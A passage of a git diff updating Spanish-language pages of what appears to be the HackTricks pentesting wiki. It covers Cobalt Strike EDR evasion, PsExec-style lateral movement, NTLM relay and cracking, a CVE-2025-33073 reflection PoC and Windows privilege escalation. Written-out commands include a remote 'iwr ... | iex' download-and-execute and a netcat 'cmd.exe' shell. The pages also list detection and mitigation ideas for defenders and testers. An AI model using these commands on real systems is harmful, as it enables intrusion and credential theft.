malware conocidas. Cobalt Strike permite modificar la función `sleep_mask` como un BOF que podrá cifrar en memoria el backdoor. +Algunos EDRs escanean la memoria en busca de algunas firmas de malware conocidas. Cobalt Strike permite modificar la función `sleep_mask` como un BOF que podrá encriptar en memoria el backdoor. -### Inyecciones de proc ruidosas +### Noisy proc injections -Al inyectar código en un proceso, esto suele ser muy ruidoso, esto se debe a que **ningún proceso regular suele realizar esta acción y porque las formas de hacerlo son muy limitadas**. Por lo tanto, podría ser detectado por sistemas de detección basados en comportamiento. Además, también podría ser detectado por EDRs que escanean la red en busca de **hilos que contengan código que no esté en disco** (aunque procesos como navegadores que utilizan JIT tienen esto comúnmente). Ejemplo: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) +Al inyectar código en un proceso, esto suele ser muy ruidoso, esto se debe a que **ningún proceso regular suele realizar esta acción y porque las formas de hacerlo son muy limitadas**. Por lo tanto, podría ser detectado por sistemas de detección basados en comportamiento. Además, también podría ser detectado por EDRs que escanean la red en busca de **hilos que contengan código que no está en disco** (aunque procesos como navegadores que utilizan JIT tienen esto comúnmente). Ejemplo: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2) -### Spawnas | Relaciones PID y PPID +### Spawnas | PID and PPID relationships Al generar un nuevo proceso, es importante **mantener una relación padre-hijo regular** entre los procesos para evitar la detección. Si svchost.exec está ejecutando iexplorer.exe, parecerá sospechoso, ya que svchost.exe no es un padre de iexplorer.exe en un entorno normal de Windows. -Cuando se genera un nuevo beacon en Cobalt Strike, por defecto se crea un proceso utilizando **`rundll32.exe`** para ejecutar el nuevo listener. Esto no es muy sigiloso y puede ser fácilmente detectado por EDRs. Además, `rundll32.exe` se ejecuta sin argumentos, lo que lo hace aún más sospechoso. +Cuando se genera un nuevo beacon en Cobalt Strike, por defecto se crea un proceso usando **`rundll32.exe`** para ejecutar el nuevo listener. Esto no es muy sigiloso y puede ser fácilmente detectado por EDRs. Además, `rundll32.exe` se ejecuta sin argumentos, lo que lo hace aún más sospechoso. Con el siguiente comando de Cobalt Strike, puedes especificar un proceso diferente para generar el nuevo beacon, haciéndolo menos detectable: ```bash @@ -291,6 +293,7 @@ Sin embargo, debes tener **cuidado con el tráfico generado**, ya que podrías e Check the page: + {{#ref}} av-bypass.md {{#endref}} @@ -356,3 +359,6 @@ cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\Resou cd C:\Tools\cobaltstrike\ArtifactKit pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe . ``` + + +{{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/lateral-movement/psexec-and-winexec.md b/src/windows-hardening/lateral-movement/psexec-and-winexec.md index f285d32e2..c029b1303 100644 --- a/src/windows-hardening/lateral-movement/psexec-and-winexec.md +++ b/src/windows-hardening/lateral-movement/psexec-and-winexec.md @@ -9,13 +9,13 @@ Estas técnicas abusan del Administrador de Control de Servicios de Windows (SCM 1. Autenticarse en el objetivo y acceder al recurso compartido ADMIN$ a través de SMB (TCP/445). 2. Copiar un ejecutable o especificar una línea de comando LOLBAS que el servicio ejecutará. 3. Crear un servicio de forma remota a través de SCM (MS-SCMR sobre \PIPE\svcctl) apuntando a ese comando o binario. -4. Iniciar el servicio para ejecutar la carga útil y opcionalmente capturar stdin/stdout a través de un pipe con nombre. +4. Iniciar el servicio para ejecutar la carga útil y, opcionalmente, capturar stdin/stdout a través de un pipe con nombre. 5. Detener el servicio y limpiar (eliminar el servicio y cualquier binario dejado). Requisitos/prerrequisitos: - Administrador local en el objetivo (SeCreateServicePrivilege) o derechos explícitos de creación de servicios en el objetivo. - SMB (445) accesible y recurso compartido ADMIN$ disponible; Gestión de Servicios Remotos permitida a través del firewall del host. -- Restricciones Remotas de UAC: con cuentas locales, el filtrado de tokens puede bloquear el acceso administrativo a través de la red a menos que se use el Administrador incorporado o LocalAccountTokenFilterPolicy=1. +- Restricciones Remotas de UAC: con cuentas locales, el filtrado de tokens puede bloquear el acceso de administrador a través de la red a menos que se use el Administrador incorporado o LocalAccountTokenFilterPolicy=1. - Kerberos vs NTLM: usar un nombre de host/FQDN habilita Kerberos; conectarse por IP a menudo vuelve a NTLM (y puede ser bloqueado en entornos endurecidos). ### ScExec/WinExec manual a través de sc.exe @@ -43,7 +43,7 @@ Encuentre pasos más detallados en: https://blog.ropnop.com/using-credentials-to ### Sysinternals PsExec.exe -- Herramienta clásica de administración que utiliza SMB para dejar PSEXESVC.exe en ADMIN$, instala un servicio temporal (nombre predeterminado PSEXESVC) y hace proxy de I/O a través de tuberías con nombre. +- Herramienta clásica de administración que utiliza SMB para dejar PSEXESVC.exe en ADMIN$, instala un servicio temporal (nombre predeterminado PSEXESVC) y proxy I/O a través de tuberías con nombre. - Ejemplos de uso: ```cmd :: Interactive SYSTEM shell on remote host @@ -78,7 +78,7 @@ psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe # Change service name and output encoding psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex" ``` -Artifacts +Artefactos - EXE temporal en C:\Windows\ (8 caracteres aleatorios). El nombre del servicio se establece de forma predeterminada en RemComSvc a menos que se sobrescriba. ### Impacket smbexec.py (SMBExec) @@ -108,18 +108,18 @@ cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec Artefactos típicos de host/red al usar técnicas similares a PsExec: - Seguridad 4624 (Tipo de inicio de sesión 3) y 4672 (Privilegios especiales) en el objetivo para la cuenta de administrador utilizada. -- Seguridad 5140/5145 Eventos de Compartición de Archivos y Detalles de Compartición de Archivos mostrando acceso ADMIN$ y creación/escritura de binarios de servicio (por ejemplo, PSEXESVC.exe o .exe aleatorio de 8 caracteres). +- Seguridad 5140/5145 Eventos de Compartición de Archivos y Detalles de Compartición de Archivos mostrando acceso a ADMIN$ y creación/escritura de binarios de servicio (por ejemplo, PSEXESVC.exe o .exe aleatorio de 8 caracteres). - Seguridad 7045 Instalación de Servicio en el objetivo: nombres de servicio como PSEXESVC, RemComSvc, o personalizados (-r / -service-name). - Sysmon 1 (Creación de Proceso) para services.exe o la imagen del servicio, 3 (Conexión de Red), 11 (Creación de Archivo) en C:\Windows\, 17/18 (Tubería Creada/Conectada) para tuberías como \\.\pipe\psexesvc, \\.\pipe\remcom_*, o equivalentes aleatorios. - Artefacto de Registro para EULA de Sysinternals: HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 en el host del operador (si no está suprimido). Ideas de caza -- Alertar sobre instalaciones de servicios donde el ImagePath incluye cmd.exe /c, powershell.exe, o ubicaciones TEMP. +- Alertar sobre instalaciones de servicios donde el ImagePath incluya cmd.exe /c, powershell.exe, o ubicaciones TEMP. - Buscar creaciones de procesos donde ParentImage sea C:\Windows\PSEXESVC.exe o hijos de services.exe ejecutándose como LOCAL SYSTEM ejecutando shells. - Marcar tuberías nombradas que terminen en -stdin/-stdout/-stderr o nombres de tuberías de clon de PsExec bien conocidos. ## Solución de problemas de fallos comunes -- Acceso denegado (5) al crear servicios: no es realmente administrador local, restricciones remotas de UAC para cuentas locales, o protección contra manipulación de EDR en la ruta del binario del servicio. +- Acceso denegado (5) al crear servicios: no es realmente administrador local, restricciones de UAC para cuentas locales, o protección contra manipulación de EDR en la ruta del binario del servicio. - La ruta de red no fue encontrada (53) o no se pudo conectar a ADMIN$: firewall bloqueando SMB/RPC o comparticiones de administrador deshabilitadas. - Kerberos falla pero NTLM está bloqueado: conectarse usando nombre de host/FQDN (no IP), asegurar SPNs adecuados, o proporcionar -k/-no-pass con tickets al usar Impacket. - El inicio del servicio se agota pero la carga útil se ejecutó: esperado si no es un binario de servicio real; capturar salida a un archivo o usar smbexec para I/O en vivo. @@ -133,12 +133,14 @@ Ideas de caza - Ejecución remota basada en WMI (a menudo más sin archivos): + {{#ref}} ./wmiexec.md {{#endref}} - Ejecución remota basada en WinRM: + {{#ref}} ./winrm.md {{#endref}} diff --git a/src/windows-hardening/ntlm/README.md b/src/windows-hardening/ntlm/README.md index 86de6630d..72f9d3959 100644 --- a/src/windows-hardening/ntlm/README.md +++ b/src/windows-hardening/ntlm/README.md @@ -2,6 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} + ## Información Básica En entornos donde **Windows XP y Server 2003** están en operación, se utilizan hashes LM (Lan Manager), aunque se reconoce ampliamente que estos pueden ser fácilmente comprometidos. Un hash LM particular, `AAD3B435B51404EEAAD3B435B51404EE`, indica un escenario donde LM no se emplea, representando el hash para una cadena vacía. @@ -15,7 +16,7 @@ El soporte para los protocolos de autenticación - LM, NTLMv1 y NTLMv2 - es faci **Puntos Clave**: - Los hashes LM son vulnerables y un hash LM vacío (`AAD3B435B51404EEAAD3B435B51404EE`) significa su no uso. -- Kerberos es el método de autenticación por defecto, con NTLM utilizado solo bajo ciertas condiciones. +- Kerberos es el método de autenticación predeterminado, con NTLM utilizado solo bajo ciertas condiciones. - Los paquetes de autenticación NTLM son identificables por el encabezado "NTLMSSP". - Los protocolos LM, NTLMv1 y NTLMv2 son soportados por el archivo del sistema `msv1\_0.dll`. @@ -77,11 +78,11 @@ El **hash NT (16bytes)** se divide en **3 partes de 7bytes cada una** (7B + 7B + Hoy en día es cada vez menos común encontrar entornos con Delegación No Restringida configurada, pero esto no significa que no puedas **abusar de un servicio de Print Spooler** configurado. -Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **pedir a la impresora que se autentique** contra algún **host bajo tu control**. Luego, usando `metasploit auxiliary/server/capture/smb` o `responder` puedes **establecer el reto de autenticación a 1122334455667788**, capturar el intento de autenticación, y si se realizó usando **NTLMv1** podrás **crackearlo**.\ -Si estás usando `responder` podrías intentar **usar la bandera `--lm`** para intentar **reducir** la **autenticación**.\ +Podrías abusar de algunas credenciales/sesiones que ya tienes en el AD para **pedir a la impresora que se autentique** contra algún **host bajo tu control**. Luego, usando `metasploit auxiliary/server/capture/smb` o `responder` puedes **configurar el reto de autenticación a 1122334455667788**, capturar el intento de autenticación, y si se realizó usando **NTLMv1** podrás **crackearlo**.\ +Si estás usando `responder` podrías intentar **usar la bandera `--lm`** para intentar **degradar** la **autenticación**.\ _Ten en cuenta que para esta técnica la autenticación debe realizarse usando NTLMv1 (NTLMv2 no es válido)._ -Recuerda que la impresora usará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la **autenticación NTLMv1** **usa DES** ([más información aquí](#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo). +Recuerda que la impresora usará la cuenta de computadora durante la autenticación, y las cuentas de computadora utilizan **contraseñas largas y aleatorias** que **probablemente no podrás crackear** usando diccionarios comunes. Pero la autenticación **NTLMv1** **usa DES** ([más información aquí](#ntlmv1-challenge)), así que usando algunos servicios especialmente dedicados a crackear DES podrás crackearlo (podrías usar [https://crack.sh/](https://crack.sh) o [https://ntlmv1.com/](https://ntlmv1.com) por ejemplo). ### Ataque NTLMv1 con hashcat @@ -135,7 +136,7 @@ DESKEY2: bcba83e6895b9d echo b55d6d04e67926>>des.cand echo bcba83e6895b9d>>des.cand ``` -Ahora necesitamos usar las hashcat-utilities para convertir las claves des descifradas en partes del hash NTLM: +Ahora necesitamos usar las utilidades de hashcat para convertir las claves des descifradas en partes del hash NTLM: ```bash ./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753 b4b9b02e6f09a9 # this is part 1 @@ -242,7 +243,7 @@ wce.exe -s ::: El Ataque de Monólogo Interno es una técnica sigilosa de extracción de credenciales que permite a un atacante recuperar hashes NTLM de la máquina de una víctima **sin interactuar directamente con el proceso LSASS**. A diferencia de Mimikatz, que lee hashes directamente de la memoria y es frecuentemente bloqueado por soluciones de seguridad de endpoint o Credential Guard, este ataque aprovecha **llamadas locales al paquete de autenticación NTLM (MSV1_0) a través de la Interfaz de Proveedor de Soporte de Seguridad (SSPI)**. El atacante primero **reduce la configuración de NTLM** (por ejemplo, LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) para asegurarse de que se permita NetNTLMv1. Luego, impersona tokens de usuario existentes obtenidos de procesos en ejecución y activa la autenticación NTLM localmente para generar respuestas NetNTLMv1 utilizando un desafío conocido. -Después de capturar estas respuestas NetNTLMv1, el atacante puede recuperar rápidamente los hashes NTLM originales utilizando **tablas arcoíris precomputadas**, lo que permite ataques de Pass-the-Hash para movimiento lateral. Crucialmente, el Ataque de Monólogo Interno permanece sigiloso porque no genera tráfico de red, inyecta código ni activa volcado de memoria directa, lo que lo hace más difícil de detectar para los defensores en comparación con métodos tradicionales como Mimikatz. +Después de capturar estas respuestas NetNTLMv1, el atacante puede recuperar rápidamente los hashes NTLM originales utilizando **tablas arcoíris precomputadas**, lo que permite ataques adicionales de Pass-the-Hash para movimiento lateral. Crucialmente, el Ataque de Monólogo Interno permanece sigiloso porque no genera tráfico de red, inyecta código ni activa volcado de memoria directa, lo que lo hace más difícil de detectar para los defensores en comparación con métodos tradicionales como Mimikatz. Si NetNTLMv1 no es aceptado—debido a políticas de seguridad impuestas, el atacante puede no lograr recuperar una respuesta NetNTLMv1. @@ -250,10 +251,11 @@ Para manejar este caso, la herramienta de Monólogo Interno fue actualizada: Adq El PoC se puede encontrar en **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. -## Reenvío NTLM y Responder +## NTLM Relay y Responder **Lee una guía más detallada sobre cómo realizar esos ataques aquí:** + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {{#endref}} @@ -262,4 +264,50 @@ El PoC se puede encontrar en **[https://github.com/eladshamir/Internal-Monologue **Puedes usar** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide) +## NTLM y Kerberos *Reflejo* a través de SPNs Serializados (CVE-2025-33073) + +Windows contiene varias mitigaciones que intentan prevenir ataques de *reflejo* donde una autenticación NTLM (o Kerberos) que se origina de un host es retransmitida de vuelta al **mismo** host para obtener privilegios de SYSTEM. + +Microsoft rompió la mayoría de las cadenas públicas con MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) y parches posteriores, sin embargo **CVE-2025-33073** muestra que las protecciones aún pueden ser eludidas abusando de cómo el **cliente SMB trunca los Nombres de Principales de Servicio (SPNs)** que contienen información de destino *marshalled* (serializada). + +### Resumen del error +1. Un atacante registra un **registro A de DNS** cuyo etiqueta codifica un SPN marshalled – por ejemplo, +`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` +2. La víctima es forzada a autenticarse a ese nombre de host (PetitPotam, DFSCoerce, etc.). +3. Cuando el cliente SMB pasa la cadena de destino `cifs/srv11UWhRCAAAAA…` a `lsasrv!LsapCheckMarshalledTargetInfo`, la llamada a `CredUnmarshalTargetInfo` **elimina** el blob serializado, dejando **`cifs/srv1`**. +4. `msv1_0!SspIsTargetLocalhost` (o el equivalente de Kerberos) ahora considera que el objetivo es *localhost* porque la parte corta del host coincide con el nombre de la computadora (`SRV1`). +5. En consecuencia, el servidor establece `NTLMSSP_NEGOTIATE_LOCAL_CALL` e inyecta **el token de acceso de SYSTEM de LSASS** en el contexto (para Kerberos se crea una clave de subsesión marcada como SYSTEM). +6. Retransmitir esa autenticación con `ntlmrelayx.py` **o** `krbrelayx.py` otorga derechos completos de SYSTEM en el mismo host. + +### PoC rápida +```bash +# Add malicious DNS record +dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ +-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \ +-d 10.10.10.50 + +# Trigger authentication +PetitPotam.py -u user -p pass -d DOMAIN \ +srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL + +# Relay listener (NTLM) +ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support + +# Relay listener (Kerberos) – remove NTLM mechType first +krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support +``` +### Patches y Mitigaciones +* El parche KB para **CVE-2025-33073** añade una verificación en `mrxsmb.sys::SmbCeCreateSrvCall` que bloquea cualquier conexión SMB cuyo objetivo contenga información marshalled (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`). +* Habilitar **SMB signing** para prevenir la reflexión incluso en hosts no parcheados. +* Monitorear registros DNS que se asemejen a `*...*` y bloquear vectores de coerción (PetitPotam, DFSCoerce, AuthIP...). + +### Ideas de detección +* Capturas de red con `NTLMSSP_NEGOTIATE_LOCAL_CALL` donde la IP del cliente ≠ la IP del servidor. +* Kerberos AP-REQ que contenga una clave de subsesión y un principal de cliente igual al nombre del host. +* Inicios de sesión del sistema Windows Event 4624/4648 seguidos inmediatamente por escrituras SMB remotas desde el mismo host. + +## Referencias +* [NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) +* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index e2cdbfdea..1829fac21 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -10,6 +10,7 @@ **Si no sabes qué son los Tokens de Acceso de Windows, lee la siguiente página antes de continuar:** + {{#ref}} access-tokens.md {{#endref}} @@ -18,6 +19,7 @@ access-tokens.md **Consulta la siguiente página para más información sobre ACLs - DACLs/SACLs/ACEs:** + {{#ref}} acls-dacls-sacls-aces.md {{#endref}} @@ -26,6 +28,7 @@ acls-dacls-sacls-aces.md **Si no sabes qué son los niveles de integridad en Windows, deberías leer la siguiente página antes de continuar:** + {{#ref}} integrity-levels.md {{#endref}} @@ -34,6 +37,7 @@ integrity-levels.md Hay diferentes cosas en Windows que podrían **impedirte enumerar el sistema**, ejecutar ejecutables o incluso **detectar tus actividades**. Deberías **leer** la siguiente **página** y **enumerar** todos estos **mecanismos** de **defensa** antes de comenzar la enumeración de escalación de privilegios: + {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} @@ -112,9 +116,9 @@ Stop-Transcript ``` ### PowerShell Module Logging -Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de ejecución y los resultados de salida pueden no ser capturados. +Los detalles de las ejecuciones del pipeline de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida pueden no ser capturados. -Para habilitar esto, sigue las instrucciones en la sección "Archivos de transcripción" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**. +Para habilitar esto, sigue las instrucciones en la sección "Transcript files" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging @@ -127,7 +131,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan detalles sobre el proceso. +Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan información detallada sobre el proceso. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging @@ -154,7 +158,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| Puedes comprometer el sistema si las actualizaciones no se solicitan usando http**S** sino http. -Comienzas verificando si la red utiliza una actualización WSUS sin SSL ejecutando lo siguiente en cmd: +Comienzas verificando si la red utiliza una actualización WSUS no SSL ejecutando lo siguiente en cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` @@ -195,13 +199,13 @@ Básicamente, este es el defecto que explota este error: > Si tenemos el poder de modificar nuestro proxy de usuario local, y las actualizaciones de Windows utilizan el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar [PyWSUS](https://github.com/GoSecure/pywsus) localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo. > -> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio. +> Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también usará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio. Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada). ## KrbRelayUp -Una vulnerabilidad de **escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**. +Una vulnerabilidad de **escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**. Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -223,7 +227,7 @@ Si tienes una sesión de meterpreter, puedes automatizar esta técnica utilizand ### PowerUP -Usa el comando `Write-UserAddMSI` de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GUI): +Usa el comando `Write-UserAddMSI` de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso a GIU): ``` Write-UserAddMSI ``` @@ -256,7 +260,7 @@ create-msi-with-wix.md - Haz doble clic en **Carpeta de Aplicación**, selecciona tu archivo **beacon.exe** y haz clic en **Aceptar**. Esto asegurará que el payload beacon se ejecute tan pronto como se ejecute el instalador. - En las **Propiedades de Acción Personalizada**, cambia **Run64Bit** a **True**. - Finalmente, **compílalo**. -- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de establecer la plataforma en x64. +- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de haber configurado la plataforma a x64. ### Instalación de MSI @@ -282,7 +286,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** está diseñado para la **gestión de contraseñas de Administrador local**, asegurando que cada contraseña sea **única, aleatoria y actualizada regularmente** en computadoras unidas a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios que han recibido permisos suficientes a través de ACLs, permitiéndoles ver las contraseñas de administrador local si están autorizados. +**LAPS** está diseñado para la **gestión de contraseñas de Administrador local**, asegurando que cada contraseña sea **única, aleatoria y actualizada regularmente** en computadoras unidas a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios que han recibido permisos suficientes a través de ACLs, permitiéndoles ver contraseñas de administrador local si están autorizados. {{#ref}} ../active-directory-methodology/laps.md @@ -373,7 +377,7 @@ powershell -command "Get-Clipboard" ### Permisos de Archivos y Carpetas -Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comandos del proceso**.\ +Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comando del proceso**.\ Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/index.html): ```bash Tasklist /SVC #List processes running and services @@ -396,7 +400,7 @@ icacls "%%z" ) ) ``` -**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -448,8 +452,8 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version Si tienes este error (por ejemplo con SSDPSRV): -_Se ha producido un error del sistema 1058._\ -_El servicio no se puede iniciar, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._ +_Error del sistema 1058 ha ocurrido._\ +_El servicio no puede ser iniciado, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él._ Puedes habilitarlo usando ```bash @@ -480,10 +484,10 @@ net stop [service name] && net start [service name] Los privilegios se pueden escalar a través de varios permisos: - **SERVICE_CHANGE_CONFIG**: Permite la reconfiguración del binario del servicio. -- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones de servicio. +- **WRITE_DAC**: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones del servicio. - **WRITE_OWNER**: Permite la adquisición de propiedad y la reconfiguración de permisos. -- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones de servicio. -- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones de servicio. +- **GENERIC_WRITE**: Hereda la capacidad de cambiar configuraciones del servicio. +- **GENERIC_ALL**: También hereda la capacidad de cambiar configuraciones del servicio. Para la detección y explotación de esta vulnerabilidad, se puede utilizar el _exploit/windows/local/service_permissions_. @@ -639,7 +643,7 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ## Red -### Recursos compartidos +### Comparticiones ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains @@ -716,7 +720,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Administrador de credenciales / Bóveda de Windows From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -La Bóveda de Windows almacena las credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así. +La Bóveda de Windows almacena credenciales de usuario para servidores, sitios web y otros programas que **Windows** puede **iniciar sesión en los usuarios automáticamente**. A primera vista, esto podría parecer que ahora los usuarios pueden almacenar sus credenciales de Facebook, credenciales de Twitter, credenciales de Gmail, etc., para que inicien sesión automáticamente a través de los navegadores. Pero no es así. La Bóveda de Windows almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier **aplicación de Windows que necesite credenciales para acceder a un recurso** (servidor o un sitio web) **puede hacer uso de este Administrador de Credenciales** y la Bóveda de Windows y usar las credenciales proporcionadas en lugar de que los usuarios ingresen el nombre de usuario y la contraseña todo el tiempo. @@ -738,13 +742,13 @@ Usando `runas` con un conjunto de credenciales proporcionado. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), o del [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Note que mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), 